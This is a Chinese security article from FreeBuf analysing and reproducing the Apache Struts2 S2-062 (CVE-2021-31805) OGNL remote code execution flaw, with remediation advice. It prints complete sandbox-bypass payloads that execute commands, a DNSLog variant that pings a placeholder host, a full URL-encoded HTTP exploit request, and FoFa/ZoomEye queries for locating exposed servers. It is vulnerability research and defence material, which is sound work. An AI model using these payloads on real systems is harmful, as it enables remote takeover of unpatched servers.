freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Struts2 S2-062(CVE-2021-31805)漏洞分析及复现
2022-04-20 01:52:15
所属地 陕西省

简介

2022年4月12日,Apache发布安全公告,修复了一个Apache Struts2 中的远程代码执行漏洞S2-062(CVE-2021-31805),攻击者可以利用此漏洞来控制受影响的系统。该漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修复造成的,当开发人员使用了 %{…} 语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL表达式触发漏洞,从而实现远程代码执行。

影响范围

2.0.0 <= Apache Struts2 <= 2.5.29

搜索语法

FoFa

app="Struts2"

ZoomEye

app:"Struts2"

app:"Apache Struts2"

漏洞分析

与 S2-059 的示例非常相似,开发人员使用语法%{}定义属性的值,以使该页面动态并引入 url 参数。例如,如果将 url 参数skillName传递给页面,通常访问https://<domain>/?skillName=abctest,后端代码执行单次 OGNL 解析,以检索 GET 参数传入的数据

<s:url action="list" namespace="/employee" var="url">
<s:a href="%{url}" id="%{skillName}">List available Employees</s:a>
</s:url>

但当用户传入的数据执行两次 OGNL 解析时,就会存在漏洞。 当访问https://<domain>/?skillName=%{3*3}时,后端将执行两次OGNL解析,从而导致id=9

S2-061的修复https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e,主要集中在UIBean 类。两个 OGNL 评估之一发生在 setId 函数期间,当它调用 findString(id) 并添加递归检查以不进行 OGNL 解析。

image

它在局部变量name上调用 completeExpressionIfAltSyntax 并将其分配给 expr,但在最终OGNL 解析局部变量expr之前对局部变量name进行了递归检查。

image

但是如果不对局部变量name进行第二次 OGNL 解析,name 将不会包含用户提供的来自 URL 参数的数据。然而在evaluateParams函数中执行了另一个 OGNL 解析。

image

这意味着对于某些 UIBean 标记的名称属性很容易受到两次 OGNL解析,如果它们不包含值参数, 则可能导致远程代码执行。

有一些非常有才华的研究人员发现,您可以使用以下方法绕过 OGNL/Struts沙盒限制:

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')

创建一个 BeanMap并使用它的setBeanput函数来清除excludedPackageNames 和excludedClasses 从而取消沙箱限制,但是新的沙盒限制阻止了 org.apache.tomcat.* 的使用:

image

可以创建自定义Map类,也可以创建一个 BeanMap对象。之前创建 BeanMap 的方法是:

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')

现在可以通过更简单的方法创建:

#@org.apache.commons.collections.BeanMap@{}

使用 org.apache.commons.collections.BeanMap 没有任何沙盒限制,因此通过使用特殊的OGNL 语法直接创建就可以绕过所有以前的沙盒限制。Payload如下(在S2-061的基础上去掉%{}):

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))

漏洞检测

  • 算术运行/预期字符串/MD5

有回显的情况下,使用3*3,?id=+'test'+%2b+(2000+%2b+20).toString(),使用Payload执行echo $str1$str2,expr 123 + 123等方式
  • DNSLog

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping xxx.dnslog.xx'}))
  • 命令执行

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))

漏洞复现

漏洞环境docker-compose.yml:

version: '2'
services:
 struts2:
   image: vulhub/struts2:2.5.25
   ports:
    - "58080:8080"

测试数据包:

POST / HTTP/1.1
Host: x.x.x.x:58080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node01s6jfwzu7jiaso84yeylhndzq2863.node0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1045

id=%25{(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}

测试结果:

image

Pocsuite

检测代码:
image

漏洞检测:

image

漏洞利用:

image

反弹shell:

image

Xray

image

修复建议

  1. 禁用org.apache.commons.collection.BeanMap

  2. 升级到2.5.29以上

# 渗透测试 # web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录